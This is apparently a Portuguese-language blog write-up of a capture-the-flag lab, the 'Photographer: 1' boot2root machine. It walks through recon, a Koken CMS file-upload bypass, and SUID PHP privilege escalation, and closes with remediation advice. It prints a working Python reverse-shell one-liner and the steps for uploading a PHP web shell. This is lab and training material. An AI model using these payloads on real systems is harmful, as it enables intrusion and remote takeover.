Pwning - Photographer: 1

30 VMs em 30 dias [ 25 ] - Beco do Exploit

Mateus Taveira
6 min readDec 26, 2023

Descrição da Máquina

This machine was developed to prepare for OSCP. It is boot2root, tested on VirtualBox (but works on VMWare) and has two flags: user.txt and proof.txt.

Material de Apoio

Objetivo

  • A partir do IP da máquina, explorar vulnerabilidades que permitam acesso remoto
  • Conseguir uma Shell com o usuário root de forma remota, e sua flag “proof.txt”

Reconhecimento

Como uma parte essencial de toda exploração, visto que utilizaremos de vetor de ataque: a rede, precisamos saber qual o endereço de IP do alvo. Existem diversas ferramentas com esse fim, como o arp-scan, netdiscover e nmap. A primeira já nos serviu muito bem:

arp-scan -I <interface> <ip-rede>/<mascara>

E com isso, podemos então fazer a enumeração de portas e seus respectivos serviços para que sirvam de superfície de ataque por meio da rede. Para isso, podemos utilizar a famosa ferramenta nmap:

nmap -sV -p- <ip-addr>

Certo, encontramos vários serviços que estão rodando. Que tal examinarmos de forma básica alguns deles potencialmente mal-configurados? Vamos começar enumerando as Shares do Samba:

smbclient -L //<ip-addr>

Percebemos então que, além das Shares padrões (print$ e IPC$), temos uma diferenciada: “sambashare”, que tal procurarmos por aquivos dentro disso?

Descobrimos que há um arquivo dentro, e logo utilizamos o comando get para fazer o download dele, e ao analizarmos, vemos graças aos headers que se trata de um e-mail, cujo a mensagem é sobre um suposto site que estaria pronto, além de um aparente segredo entre Daisa e Agi Clarence.

Podemos conferir esse tal site através do Browser, o mesmo que vimos rodar em HTTP e Apace na porta 80:

Bom, a princípio, poderíamos olhar o robots.txt ou o sitemap.xml, a fim de achar algum diretório ou arquivo escondido dos motores de busca, entretanto pulamos para o bruteforce disso com o dirb:

dirb http://<ip-addr>

Descobrimos dois diretórios que são listáveis, o /assets/ e o /images/. Podemos conferir pelo Browser:

Ok, vamos guardar essa informação.

Que tal, antes de nos aprofundarmos em algo, analisar o outro site, que está rodando na porta 8000…

Conseguimos ver de cara que se trata do CMS Koken… Interassante. E rodando um dirb aqui também, encontramos várias coisas. Dentro delas, um diretório bem interessante ao nossos olhos… o admin:

E acessando pelo Browser, conseguimos ter uma visão do que exatamente se trata:

É justamente um painel administrativo, ou seja, um vetor onde podemos tentar acessar um conta, como por exemplo a da daisa, e com aquela senha “secreta” que recebeu por email:

user: daisa@photographer.com
pass: babygirl

E prontinho, estamos dentro do Painel Koken! Será que existe alguma vulnerabilidade conhecida? Podemos tentar verificar a versão com nmap, e procurar por exploits no Google

E bom, achamos um exploit que explica uma vulnerabilidade Arbitraty File Upload, onde foi descoberto que a aplicação faz verificação da extensão do arquivo apenas no Front-end, ou seja, podemos interceptar a requisição do upload e alterarmos o nome do arquivo e extensão, para que o Backend (sem verificar) faça o processamento dele. E foi justamente o que fizemos:

Exploração

Primeiro, um código que permita RCE (Remote Code Execution) através de PHP, mas com extensão .jpg:

Segundo, fazer o upload desse arquivo e interceptar com o Burp Suite:

Terceiro, alterarmos, na requisição, a extensão do arquivo, removento o “.jpg” e mantendo apenas o “.php”:

Com isso feito, basta acessarmos esse arquivo e utilizarmos do parâmetro GET para executar comandos remotamente no servidor, e seu caminho pode ser obtido através do próprio painel administrativo:

Ahahahah! Com esse poder podemos iniciar uma Reverse Shell, escolhemos python pois descobrimos com o comando “which” que ele está no servidor.

O payload foi obtido do Pentest Monkey:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip-addr>",<porta>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

E quando executamos o comando remotamente, deixando uma escuta com netcat na nossa máquina…

Escalação de Privilégios

E como uma das principais formas de Privilege Escalation, procuramos por binários cujo temos permissão SUID, ou seja, de executa-lo com a permissão de quem é seu dono.

Para isso, precisamos antes de uma Shell interativa, que podemos fazer também com Python.

python -c "import pty; pty.spawn('/bin/sh')"
find / -perm -u=s -type f 2>/dev/null

Descobrimos um binário bem interessante que tem essa permissão, o php7 .2, e para sabermos como explorar essa vulnerabilidade, podemos ter o auxílio de um famoso site de exploits, cujo tem como objetivo, mostrar formas de explorar binários, o GTFOBINS.

Basicamente, uma forma de escalar privilégio com o binário PHP que tenha permissão de SUID.

E dessa forma, utilizando esse comando, conseguimos finalmente…

PRIVILÉGIOS ROOT!!!!!!!

Correção de Vulnerabilidades

  • Nunca envie senhas em texto puro, muito menos através de e-mail. Mas se for estritamente necessário, faça com que uma troca de senha seja realizada no primeiro Login.
  • Não permitir a listagem de arquivos dentro de diretórios, pois facilita a exfiltração de seus dados;
  • Mantenha suas aplicações constantemente atualizadas;
  • Esconda as versões das suas aplicações;
  • Restrinja os privilégios para o usuário www-data;
  • Não dê permissão de SUID para binários sem antes houver uma auditoria para saber sua real necessidade e riscos envolvidos.

Mas se preferir a decência, sanidade e educação, execute o seguinte comando:

Exploração e Write-up feita com o Luís Santos. Acompanhe os próximos capítulos em nossos perfis!!

https://www.linkedin.com/in/mateus-taveira/

https://www.linkedin.com/in/luis-santos-defensive-security/

--

--

Mateus Taveira

💉Development runs through my veins. 🩸 Cyber Security is my blood.